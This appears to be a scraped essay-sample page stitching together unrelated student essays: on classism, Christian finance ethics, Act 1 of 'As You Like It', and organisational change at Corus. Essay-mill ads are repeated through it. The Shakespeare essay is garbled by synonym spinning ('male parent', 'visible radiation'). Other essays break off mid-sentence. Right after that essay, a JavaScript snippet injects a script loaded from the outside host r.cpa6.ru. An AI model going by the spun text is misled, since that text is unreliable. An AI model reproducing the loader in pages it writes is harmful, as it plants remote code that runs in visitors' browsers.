Valid Theory In American History For Many Years, And It

valid theory in American history for many years, and it has separated Americans in many ways, because classism has been racialized throughout the years, classism separates the rich from the poor, and classism inhibits cultural awareness. Classism will always exist in America because it has been a way of since the beginning of time. Even though people are not born with an actual label in a particular class, such as upper class, middle class, or lower class, it is an invisible line that exists for many reasons. One reason being that classism has been racialized over the years in America. For many years, White Americans have been considered superior to minorities, such as Black Americans (Domhoff, â€Å"The Class Domination Theory of Power). The†¦show more content†¦Outright oppression is not widely acceptable anymore, but it is still hidden in Fortune 500 companies, police departments, and schools (Carol et al, â€Å"Class: Power, Privilege and Influence in the United States†). Erudite Blacks still cannot rise to the top without working a little harder or enduring forbearance of their dreams, even though they are perfectly capable. Classism exists because racism exists, and neither one of them will ever be erased from American history. Classism separates the rich from the poor. There are many things that some folks simply cannot afford to do. The rich will never understand the poor because they have never lived that life. The rich and poor do different things, and they live in different places. They just do not have any interaction with one another. When it comes to pecuniary issues, the separation causes the word classism to pop back up (Domhoff, â€Å"The Class Domination Theory of Power). The mall is a fun place for many people to hang out in. It should be a place where the rich, working class, and poor meet up. All economic social classes do gather here, but certain stores can separate them. There is not need for a poor person to shop in Saks Fifth Avenue because they do not make enough money to buy anything in there. Even department stores encourage classism because certain people will not be able to shop in them. Private schools contribute to classism, because most working class families cannot afford to sen d theirShow MoreRelatedArticle Review Old Earth Theory920 Words   |  4 PagesOld-Earth Geology and its Ramifications for Life in the 21st Century, by Doctor Terry Mortenson, is a journal article that claims to be about Old Earth Geology history, and perceived consequences that this ideology has inflicted on our society today. In actuality, this article provides little knowledge or background on the Old-Earth theory. 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Christian Financial Manager s Goal Within A Corporate...

Introduction As a Christian that is going into the field of accounting and finance, I find that is extremely important to know what my ethical values are. When things get difficult in the workplace, I need to be able to stand up for my beliefs and follow them even when it may cause me trouble. In the world of finance, the most important goal is maximizing wealth and profits at all costs. This paper will look at some of the ways a Christian financial manager can re-act to some of the things that the finance industry will throw at them. What is the Christian financial manager’s goal within a corporate context? One of the first questions that needs to be addressed, is what the goal of a Christian financial manager is in a corporate setting? I believe that the goal of the Christian financial manager is to earn money for the company, while at the same time demonstrating an attitude of service to everyone they come in contact with (Chewning, 1990, p. 15). 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As You Like It 2 free essay sample

As You Like It # 8211 ; Act 1 Essay, Research Paper In an scrutiny of Shakespeare? s dramatic methods, discourse how efficaciously you think Act 1 arouses the audience? s involvement? In your reply consider: # 168 ; Significant facets of presenting # 168 ; Language including imagination and symbolism # 168 ; Character interactions The gap scene, in which there is nil visible radiation? hearted or humourous, is wholly expositive and contrived but carry throughing its map of uncovering the secret plan line to the audience. The fact that Shakespeare uses this sort of dramatic technique in the first scene twice shows that he wants to do the evil of Oliver absolutely clear. The action starts when Orlando, the younger brother decides to arise against the subjugation of his older brother, who is handling him like a common pheasant. He tells Oliver: ? The spirit of my male parent, which I think is within me, begins to mutiny against this servitude. I will no longer digest it, yet I know no wise rectify how to avoid it. ? Orlando? s ailments are wholly justified, as Oliver is average spirited and malicious in the intervention of Orlando, which the audience can clearly see from this opening scene. Oliver appears cold and distant when he speaks with Orlando: ? Now, sir, what do you here? ? -And this contrasts greatly with the? sisterlike bond? between Rosalind and Celia. Orlando approaches Oliver with rebelliousness and a confrontational attitude, eliciting the audiences involvement at this wrangle, and set uping his character: self-asserting, honest and bold, a character that every audience will wish and take an involvement in. Oliver besides shows that he is expert in the pun matches the drama holds. Orlando and Oliver exchange much verbal sparring in the first scene, including when Orlando seizes his brother by the pharynx, Oliver exclaims, ? Wilt 1000 lay custodies on me, villain? ? Orlando picks up the root significance of these words, that he is a individual of ignorable birth and answers, ? I am no scoundrel: I am the younger boy of Sir Rowland de Boys ; he was my male parent, and is thrice a scoundrel that says such a male parent begot scoundrels. ? Shakespeare uses an disingenuous device to portray information to the audience by utilizing the two disputing brothers. In Oliver? s monologue we can about expect that he is be aftering something against Orlando: ? I hope I shall see an terminal of him? The gap scene begins with struggle and tenseness, which arouses involvement in the audience. It besides presents us with strong character interactions and strong feelings: green-eyed monster, hatred and wickedness, all of which are appealing for anyone watching the drama. The subject of unfairness besides entices the audience and the fact that Oliver is be aftering against his younger brother is peculiarly interesting. Scene 2 starts with presenting the two chief adult females, Celia and Rosalind, who is in a melancholic temper, due to the ostracism of her male parent. This scene involvements an audience as it has a great assortment of tone, character and action. When Celia bids her merry, her answer: ? From henceforth I will coz, and invent athleticss. Let me see what believe you of falling in love? ? -Reveals a character who will intentionally utilize her humor and intelligence to prevail over bad luck ; and besides reveals her sportive nature. We can already see from her character that she would be a all right lucifer with Orlando, and the audience about anticipates love between the two, farther adding to the machination that has been developed from the first scene. The sportive nature of the adult females is intensified when Touchstone enters ; who is amusing himself, but besides amusing because of the gags made at his disbursal. Rosalind gives us the feeling that he is a simpleton: ? Natures natural the cutter off of Natures humor. ? We can see that Touchstone will be the truth talker and the? wise sap? from early on: ? The more commiseration that saps may non talk sagely what wise work forces make unwisely. ? / gt ; He is the trial or step of genuineness, and the audience will cognize to look out for his sentiments and positions in the hereafter. The comedy is diversified with the entry of Le Beau, whose actions make him the butt for more gags and jeer ; ? Here comes Monsieur the Beu. ? He has the map of making dramatic involvement and entreaty by stating the ladies about Charles, the grappler, making a chilling image of him and doing us inquire what will go on when Orlando fights him ; ? Which Charles in a minute threw him, and broke three of his ribs. ? With the theatrical entry to the wrestle and to the Duke, the tome alterations, fixing us for the serious concern of the scene and its dramatic flood tide. The accent is put on Orlando? s young person, which once more holds the audience? s involvement, as they would be fearful for him ; ? Alas, he is excessively immature ; yet he looks successfully. ? Orlandos character is revealed even more so here, as he proves himself to be determined, courtly in linguistic communication, but universe weary ; ? I shall make my friends no incorrect, for I have none to keen me ; the universe no hurt, for in it I have nil. ? The serious action of the battle and which Orlando is in danger but triumphs establishes him as a adult male of brave action as the gap scene had shown him to be verbally expert, and hence a to the full worthy suer of Rosalind, and this fact lets the audience anticipate their development relationship, one time once more. Indeed we are told that he seem overwhelmed with Rosalind ; ? O hapless Orlando, thou art overthrown! ? Another character the audience will desire to look out for is the Duke. He makes rough determinations, is paranoid and has highly inconsistent behavior ; ? I would thou hadst been son to some adult male else. The universe esteemed thy father honorable, But I did happen him still mine enemy. ? Scene 3 contrasts greatly with scene 2 as it is more like a calamity, than the blithe temper as earlier. Rosalinds love for Orlando is revealed ; ? No, some of it is for my kid? s male parent. ? More dramatic tenseness is created as the Duke attacks ; ? With his eyes full of choler. ? We can expect that he is traveling to make something roseola and unfair and he does, by ostracizing Rosalind from the tribunal ; ? So near our public tribunal as 20 stat mis? Thou diest for it. ? This is an utmost menace, but it brings out Rosalind? s respective, guiltless character ; ? Never so much as in a idea unborn Did I offend your Highness? He is shown in the same visible radiation as Oliver, as a character whose actions reflect the darker side of human nature. By contrast Rosalind, who defends herself gracefully and with self-respect, and Celia, who liberally vows to portion Rosalind? s expatriate, are characters of worth and unity. Shakespeare establishes the dramatic device of camouflage in this scene, as the adult females pretend to be Ganymead and Aliena. This is undertaken for practical grounds, and besides to be the chief beginning of comedy throughout the drama: ? That I did accommodate me all points like a adult male? ? The concluding line of this first act, in which Celia says: ? Now go in we content To liberty, and non to banishment? -Highlights one of the chief subjects of freedom from the tribunal and the pastoral, but it besides serves the map of the scene stoping in optimism and giving the audience something to look frontward to. Overall, Act 1 presents the drama to the audience in an interesting, exciting manner. There are many developing secret plan lines to look out for, and many good and evil characters. Whilst the starting scene is conflict and tenseness filled, the predating scene is light hearted and humourous, while the 3rd scene has an component of calamity in it, showing a broad assortment of emotions to the audience, hence keeping involvement and developing machination into what the flowering secret plan lines contain. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Temporal Environment Essay Example

Temporal Environment Paper Corus is a big company that is influenced by the tree types of environment. The new technology, customer expectations, competition and sales which are external factors influenced the development of new product and improved staff turnover which are internal factors. In order to develop a new product, Corus needed new expertise and knowledge; these are factors in the Temporal Environment. According to Burnes (2004) there are two kinds of changes: incremental and continuous. The incremental change includes continuous improvement as a quality management process or implementation of new computer system to increase efficiencies. The continuous change is constant, evolving and cumulative; it is a pattern of endless modifications in work processes and social practice. Corus needs to development of new expertise and new products. The company used continuous improvement to achieve these objectives, therefore the change that Corus done is an incremental. Crundy (1993) and Senior (2002) distinguish other two types of change: smooth incremental, bumpy incremental and discontinuous change. From what we know in our case study, I think that Corus made a discontinuous change. The company was doing great until loses an essential contract with a customer. Before the contract there was a smooth atmosphere after the contract they had to response to customer expectation. Discontinuous change can be seen in the Oticon Spaghetti organisation, too. Oticon is a large, hearing instrument company with a long history. When the market grew, Oticons managers understood that the company is too traditional, departmentalized and slow-moving. In order to change that, they created the spaghetti organisation. Oticon changed the whole structure of its organisation. We will write a custom essay sample on Temporal Environment specifically for you for only $16.38 $13.9/page Order now We will write a custom essay sample on Temporal Environment specifically for you FOR ONLY $16.38 $13.9/page Hire Writer We will write a custom essay sample on Temporal Environment specifically for you FOR ONLY $16.38 $13.9/page Hire Writer That is a discontinuous change, rapid change. When it comes to change, Dunphy and Stace (1993) identifies change by scale can be divided into four different characteristics: Fine-tuning Describes organizational change as an ongoing process to match the organisations strategy, processes, people and structure (Senior 2002). The purpose is to develop personnel suited to the present strategy, linking mechanisms and create special units to increase volume and attention to cost and quality, and refine policies, methods and procedures. Fosters both individual and group commitment to the excellence of departments and organisations mission, clarify established roles. Incremental adjustments According to Senior (2002) incremental adjustment involves distinct modifications to management processes and organizational strategies, but does not include radical change. Modular transformation It is a change identified by major shifts of one or several departments or divisions. It can be radical but it focuses on a part of an organisation rather than on the organisation as a whole. Corporate transformation It is characterized by radical alterations in the business strategy it is described as corporate transformation. According to Dunphy and Stace (1993) examples of this type of change can be reorganization, revision of interaction patterns, reformed organizational mission and core values, and altered power and status. Corus used continuous improvements to support its new product. The company invested in research and development in order to meet the new customers expectation. Therefore I think that Coruss change is a modular transformation. According to Greiner (1972) organisations grow through five evolutionary stages, separated by brief periods of revolution, or dramatic organizational change. Phase 1 Phase2 Phase3 Phase4 Phase 5 Size of Evolution stages Organisation Revolution stages Age of organisation * Phase 1- Growth through creativity eventually leads to a crisis of leadership. More sophisticated and more formalized management practices must be adopted. * Phase 2- Growth through direction eventually leads to a crisis of autonomy. Lower level managers must be given more authority if the organisation is to continue to grow. The crisis involves top-level managers reluctance to delegate authority. Phase 3- Growth through delegation eventually leads to a crisis of control. This occurs when autonomous employees who prefer to operate without interference from the rest of the organisation clash with the business owners and managers who perceive that they are losing control of a diversified company.   Phase 4- Growth through coordination eventually leads to a crisis of red tape. Coordination techniques like product groups, formal planning processes, and corporate staff become, over time, a bureaucratic system that causes delays in decision making and a reduction in innovation. Phase 5- Growth through collaboration, is characterized by the use of teams, a reduction in corporate staff, matrix-type structures, the simplification of formal systems, an increase in conference and educational programs, and more sophisticated information systems. I think that Corus is in the middle of Greiners Phase 1. The company lost one contract; therefore now it is trying to answer to customers expectation. That is growth through creativity. If Greiner is right, in the future Corus will experience leadership crisis. In order to escape from this crisis I have mentioned below the most popular leadership styles. The managerial grid model is developed by Robert Blake and Jane Mouton (1964). This model originally identified five different leadership styles based on the concern for people and concern for production.